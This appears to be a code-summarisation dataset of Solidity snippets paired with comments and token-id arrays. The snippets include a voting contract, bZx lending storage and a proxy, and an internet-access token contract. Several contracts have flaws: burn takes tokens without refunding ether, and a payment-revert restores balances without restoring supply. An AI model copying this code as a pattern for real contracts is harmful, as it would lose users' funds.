registered_at: block.timestamp,
id: numberOfCandidates
});
emit CandidateRegistered(
block.timestamp,
_address,
_name,
numberOfCandidates
);
}
function start() external isCandidateRegistrationOpen {
require(block.timestamp >= startDate, "Voting cannot start yet.");
require(numberOfCandidates > 1, "At least two candidates are necessary.");
voteStatus = Status.VOTING;
emit VotingStarted(block.timestamp);
}
function vote(uint8 _candidateId) external isVotingOpen {
require(votes[msg.sender] == 0, "You already voted.");
require(_candidateId <= numberOfCandidates, "Candidate does not exist.");
votes[msg.sender] = _candidateId;
}
function stop() external isVotingOpen {
require(
block.timestamp >= startDate + duration,
"Voting cannot be ended now."
);
voteStatus = Status.FINISHED;
emit VotingEnded(block.timestamp);
}
}
| 13,035,021 |
[
1,
37,
331,
17128,
1339,
225,
534,
4807,
934,
304,
8450,
89,
225,
4554,
848,
999,
333,
6835,
358,
752,
279,
331,
17128,
1339,
16,
540,
1744,
7965,
471,
4812,
19588,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
27540,
2157,
353,
14223,
6914,
288,
203,
225,
871,
385,
8824,
10868,
12,
203,
565,
2254,
5034,
389,
5508,
16,
203,
565,
1758,
389,
2867,
16,
203,
565,
533,
389,
529,
16,
203,
565,
2254,
28,
389,
350,
203,
225,
11272,
203,
203,
225,
871,
776,
17128,
9217,
12,
11890,
5034,
389,
5508,
1769,
203,
203,
225,
871,
776,
17128,
28362,
12,
11890,
5034,
389,
5508,
1769,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
24,
31,
203,
225,
1958,
385,
8824,
288,
203,
565,
2254,
5034,
4104,
67,
270,
31,
203,
565,
533,
508,
31,
203,
565,
2254,
28,
612,
31,
203,
225,
289,
203,
203,
225,
2792,
2685,
288,
203,
565,
385,
4307,
734,
1777,
67,
27511,
67,
11437,
16,
203,
565,
776,
1974,
1360,
16,
203,
565,
25768,
2056,
203,
225,
289,
203,
203,
225,
2685,
1071,
12501,
1482,
31,
203,
225,
2874,
12,
2867,
516,
385,
8824,
13,
1071,
7965,
31,
203,
225,
2254,
5034,
1071,
12572,
31,
203,
225,
2254,
5034,
1071,
3734,
31,
203,
225,
2254,
28,
1071,
7922,
18455,
31,
203,
225,
533,
1071,
2077,
31,
203,
225,
2874,
12,
2867,
516,
2254,
28,
13,
1071,
19588,
31,
203,
203,
225,
9606,
353,
11910,
7843,
3678,
1435,
288,
203,
565,
2583,
12,
203,
1377,
12501,
1482,
422,
2685,
18,
39,
4307,
734,
1777,
67,
27511,
67,
11437,
16,
203,
1377,
315,
11910,
7914,
711,
16926,
1199,
203,
565,
11272,
203,
565,
389,
31,
203,
225,
289,
203,
203,
225,
9606,
353,
58,
17128,
2
] |
/**
* Copyright 2017โ2018, bZeroX, LLC. All Rights Reserved.
* Licensed under the Apache License, Version 2.0.
*/
pragma solidity 0.4.24;
/**
* @title Helps contracts guard against reentrancy attacks.
* @author Remco Bloemen <remco@2ฯ.com>, Eenae <[email protected]>
* @dev If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/// @dev Constant for unlocked guard state - non-zero to prevent extra gas costs.
/// See: https://github.com/OpenZeppelin/openzeppelin-solidity/issues/1056
uint private constant REENTRANCY_GUARD_FREE = 1;
/// @dev Constant for locked guard state
uint private constant REENTRANCY_GUARD_LOCKED = 2;
/**
* @dev We use a single lock for the whole contract.
*/
uint private reentrancyLock = REENTRANCY_GUARD_FREE;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one `nonReentrant` function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and an `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(reentrancyLock == REENTRANCY_GUARD_FREE);
reentrancyLock = REENTRANCY_GUARD_LOCKED;
_;
reentrancyLock = REENTRANCY_GUARD_FREE;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract GasTracker {
uint internal gasUsed;
modifier tracksGas() {
// tx call 21k gas
gasUsed = gasleft() + 21000;
_; // modified function body inserted here
gasUsed = 0; // zero out the storage so we don't persist anything
}
}
contract BZxEvents {
event LogLoanAdded (
bytes32 indexed loanOrderHash,
address adder,
address indexed maker,
address indexed feeRecipientAddress,
uint lenderRelayFee,
uint traderRelayFee,
uint maxDuration,
uint makerRole
);
event LogLoanTaken (
address indexed lender,
address indexed trader,
address collateralTokenAddressFilled,
address positionTokenAddressFilled,
uint loanTokenAmountFilled,
uint collateralTokenAmountFilled,
uint positionTokenAmountFilled,
uint loanStartUnixTimestampSec,
bool active,
bytes32 indexed loanOrderHash
);
event LogLoanCancelled(
address indexed maker,
uint cancelLoanTokenAmount,
uint remainingLoanTokenAmount,
bytes32 indexed loanOrderHash
);
event LogLoanClosed(
address indexed lender,
address indexed trader,
address loanCloser,
bool isLiquidation,
bytes32 indexed loanOrderHash
);
event LogPositionTraded(
bytes32 indexed loanOrderHash,
address indexed trader,
address sourceTokenAddress,
address destTokenAddress,
uint sourceTokenAmount,
uint destTokenAmount
);
event LogMarginLevels(
bytes32 indexed loanOrderHash,
address indexed trader,
uint initialMarginAmount,
uint maintenanceMarginAmount,
uint currentMarginAmount
);
event LogWithdrawProfit(
bytes32 indexed loanOrderHash,
address indexed trader,
uint profitWithdrawn,
uint remainingPosition
);
event LogPayInterestForOrder(
bytes32 indexed loanOrderHash,
address indexed lender,
uint amountPaid,
uint totalAccrued,
uint loanCount
);
event LogPayInterestForPosition(
bytes32 indexed loanOrderHash,
address indexed lender,
address indexed trader,
uint amountPaid,
uint totalAccrued
);
event LogChangeTraderOwnership(
bytes32 indexed loanOrderHash,
address indexed oldOwner,
address indexed newOwner
);
event LogChangeLenderOwnership(
bytes32 indexed loanOrderHash,
address indexed oldOwner,
address indexed newOwner
);
event LogIncreasedLoanableAmount(
bytes32 indexed loanOrderHash,
address indexed lender,
uint loanTokenAmountAdded,
uint loanTokenAmountFillable
);
}
contract BZxObjects {
struct ListIndex {
uint index;
bool isSet;
}
struct LoanOrder {
address loanTokenAddress;
address interestTokenAddress;
address collateralTokenAddress;
address oracleAddress;
uint loanTokenAmount;
uint interestAmount;
uint initialMarginAmount;
uint maintenanceMarginAmount;
uint maxDurationUnixTimestampSec;
bytes32 loanOrderHash;
}
struct LoanOrderAux {
address maker;
address feeRecipientAddress;
uint lenderRelayFee;
uint traderRelayFee;
uint makerRole;
uint expirationUnixTimestampSec;
}
struct LoanPosition {
address trader;
address collateralTokenAddressFilled;
address positionTokenAddressFilled;
uint loanTokenAmountFilled;
uint loanTokenAmountUsed;
uint collateralTokenAmountFilled;
uint positionTokenAmountFilled;
uint loanStartUnixTimestampSec;
uint loanEndUnixTimestampSec;
bool active;
}
struct PositionRef {
bytes32 loanOrderHash;
uint positionId;
}
struct InterestData {
address lender;
address interestTokenAddress;
uint interestTotalAccrued;
uint interestPaidSoFar;
}
}
contract BZxStorage is BZxObjects, BZxEvents, ReentrancyGuard, Ownable, GasTracker {
uint internal constant MAX_UINT = 2**256 - 1;
address public bZRxTokenContract;
address public vaultContract;
address public oracleRegistryContract;
address public bZxTo0xContract;
address public bZxTo0xV2Contract;
bool public DEBUG_MODE = false;
// Loan Orders
mapping (bytes32 => LoanOrder) public orders; // mapping of loanOrderHash to on chain loanOrders
mapping (bytes32 => LoanOrderAux) public orderAux; // mapping of loanOrderHash to on chain loanOrder auxiliary parameters
mapping (bytes32 => uint) public orderFilledAmounts; // mapping of loanOrderHash to loanTokenAmount filled
mapping (bytes32 => uint) public orderCancelledAmounts; // mapping of loanOrderHash to loanTokenAmount cancelled
mapping (bytes32 => address) public orderLender; // mapping of loanOrderHash to lender (only one lender per order)
// Loan Positions
mapping (uint => LoanPosition) public loanPositions; // mapping of position ids to loanPositions
mapping (bytes32 => mapping (address => uint)) public loanPositionsIds; // mapping of loanOrderHash to mapping of trader address to position id
// Lists
mapping (address => bytes32[]) public orderList; // mapping of lenders and trader addresses to array of loanOrderHashes
mapping (bytes32 => mapping (address => ListIndex)) public orderListIndex; // mapping of loanOrderHash to mapping of lenders and trader addresses to ListIndex objects
mapping (bytes32 => uint[]) public orderPositionList; // mapping of loanOrderHash to array of order position ids
PositionRef[] public positionList; // array of loans that need to be checked for liquidation or expiration
mapping (uint => ListIndex) public positionListIndex; // mapping of position ids to ListIndex objects
// Other Storage
mapping (bytes32 => mapping (uint => uint)) public interestPaid; // mapping of loanOrderHash to mapping of position ids to amount of interest paid so far to a lender
mapping (address => address) public oracleAddresses; // mapping of oracles to their current logic contract
mapping (bytes32 => mapping (address => bool)) public preSigned; // mapping of hash => signer => signed
mapping (address => mapping (address => bool)) public allowedValidators; // mapping of signer => validator => approved
}
contract BZxProxiable {
mapping (bytes4 => address) public targets;
mapping (bytes4 => bool) public targetIsPaused;
function initialize(address _target) public;
}
contract BZxProxy is BZxStorage, BZxProxiable {
constructor(
address _settings)
public
{
require(_settings.delegatecall(bytes4(keccak256("initialize(address)")), _settings), "BZxProxy::constructor: failed");
}
function()
payable
public
{
require(!targetIsPaused[msg.sig], "BZxProxy::Function temporarily paused");
address target = targets[msg.sig];
require(target != address(0), "BZxProxy::Target not found");
bytes memory data = msg.data;
assembly {
let result := delegatecall(gas, target, add(data, 0x20), mload(data), 0, 0)
let size := returndatasize
let ptr := mload(0x40)
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
function initialize(
address)
public
{
revert();
}
}
|
array of loans that need to be checked for liquidation or expiration
|
PositionRef[] public positionList;
| 995,671 |
[
1,
1126,
434,
437,
634,
716,
1608,
358,
506,
5950,
364,
4501,
26595,
367,
578,
7686,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
11010,
1957,
8526,
1071,
1754,
682,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >= 0.4.24 < 0.6.0;
import "github.com/OpenZeppelin/zeppelin-solidity/contracts/math/SafeMath.sol";
import "github.com/OpenZeppelin/zeppelin-solidity/contracts/ownership/Ownable.sol";
import "github.com/OpenZeppelin/zeppelin-solidity/contracts/token/ERC20/IERC20.sol";
// The following contract is Ownable design pattern and ERC20 token.
contract InternetAccessToken27 is Ownable, IERC20 {
// using SafeMath for uint256;
// We do not need this instruction because we use the "SafeMath." form.
uint256 private _totalSupply;
uint256 private _tokenTotalPrice;
//uint256 private _ethAmount;
uint256 private _tokenValue = 0.0005 ether;
uint256 private _timeSession = 1; // Value in hours.
uint256 private _duration = 7; // To give the option to revert the last payment.
// To manage the user data.
mapping (address => uint256) private _balance; // Number of tokens stored for each user.
mapping (address => uint256) private _lastTokenPayment; // To give the option to revert the last token payment.
mapping (address => uint256) private _expirationToken; // To give the option to revert the last token payment.
mapping (address => uint256) private _expirationETH; // To give the option to revert the last ETH payment.
//
event Transfer(address indexed _from, address indexed _to, uint256 _value);
/**
@dev Returns tokens name.
*/
function name() public pure returns (string memory) {
return "InternetAccess";
}
/**
@dev Returns tokens symbol.
*/
function symbol() public pure returns (string memory) {
return "IntacTok";
}
/**
@dev Returns no. decimals token uses (18 decimals).
*/
function decimals() public pure returns (uint8) {
return 0;
}
/**
@dev Returns totalSupply.
*/
function totalSupply() public view returns (uint256){
return _totalSupply;
}
/**
@dev Returns account balance of tokens.
*/
function balanceOf(address _owner) public view returns (uint256) {
return _balance[_owner];
}
/**
@dev Transfers _value amount of tokens to address _to.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_balance[msg.sender] >= _value);
_balance[msg.sender] = SafeMath.sub(_balance[msg.sender], _value);
_balance[_to] = SafeMath.add(_balance[_to],_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
@dev For each _tokenValue ether, return 1 token.
Variable "amount" is the number of tokens to be bought.
*/
function mint(uint256 amount) public payable {
_tokenTotalPrice = SafeMath.mul(_tokenValue, amount);
require(msg.value >= _tokenTotalPrice); // compared in weis?
_totalSupply = SafeMath.add(_totalSupply, amount);
_balance[msg.sender] = SafeMath.add(_balance[msg.sender], amount);
}
/**
@dev Returns _tokenValue ether/token.
Variable "amount" is the number of tokens to be sold.
*/
function burn(uint256 amount) public {
require(amount >= 1);
require(_balance[msg.sender] >= amount);
//_ethAmount = SafeMath.mul(amount, _tokenValue);
_totalSupply = SafeMath.sub(_totalSupply, amount);
_balance[msg.sender] = SafeMath.sub(_balance[msg.sender], amount);
//msg.sender.transfer(_ethAmount);
}
/**
@dev 1 token costs _tokenValue ether.
*/
function getTokenValue() public view returns (uint256) {
return _tokenValue;
}
/**
@dev Establishes new token value.
*/
function setTokenValue(uint256 _newValue) private {
_tokenValue = _newValue;
}
/**
@dev 1 token is _timeSession hours of Internet session.
*/
function getTimeSession() public view returns (uint256) {
return _timeSession;
}
/**
@dev Requests an Internet connection and makes the payment through tokens.
*/
function reqConnectionWithToken(uint256 _tokenConsumed) public returns (bool){
require(_balance[msg.sender] >= _tokenConsumed);
_lastTokenPayment[msg.sender] = _tokenConsumed;
burn(_tokenConsumed);
_expirationToken[msg.sender] = now + _duration;
return true;
// The control of the time consumed is carried out by the client.
}
/**
@dev Requests an Internet connection and makes the payment through ETH.
*/
//function reqConnectionWithETH() public payable returns (uint256) {
//
// uint256 _numberSessions;
// require(msg.value > 0);
// _numberSessions = SafeMath.div(msg.value, _tokenValue);
// _expirationETH[msg.sender] = now + _duration;
// return _numberSessions;
// // Returns to the React client, the number of sessions that you can connect to the Internet. The control of the time consumed is carried out by the client.
// // Internet Access time of the client will be equal to _numberSessions * getTimeSession()
//}
/**
@dev Reverts last token payment.
*/
function revertTokenPayment() public returns (bool) {
require(_lastTokenPayment[msg.sender] > 0);
require(_expirationToken[msg.sender] > now);
_balance[msg.sender] = SafeMath.add(_balance[msg.sender], _lastTokenPayment[msg.sender]);
_lastTokenPayment[msg.sender] = 0;
return true;
// Last token payment reverted successfully.
}
/**
@dev Reverts last ETH payment.
*/
//function revertETHPayment() public payable returns (bool) {
// require(_expirationETH[msg.sender] > now);
// revert();
// return true;
// // Last ETH payment reverted successfully.
//}
}
// Some code commented lines correspond to previous version of the smart contract.
// With ETH and token together. On Wednesday, September 11, 2019.
|
To give the option to revert the last token payment.
|
mapping (address => uint256) private _expirationToken;
| 15,786,502 |
[
1,
774,
8492,
326,
1456,
358,
15226,
326,
1142,
1147,
5184,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
19519,
1345,
31,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0xB9593478BeC11EBEc52657C0489F0fED2E1aa61F/sources/contracts/Store2.sol
|
Marcar la orden como pagada
|
if (sent) {
}
| 9,482,582 |
[
1,
49,
297,
9815,
7125,
4642,
275,
532,
83,
4262,
16524,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
309,
261,
7569,
13,
288,
203,
3639,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
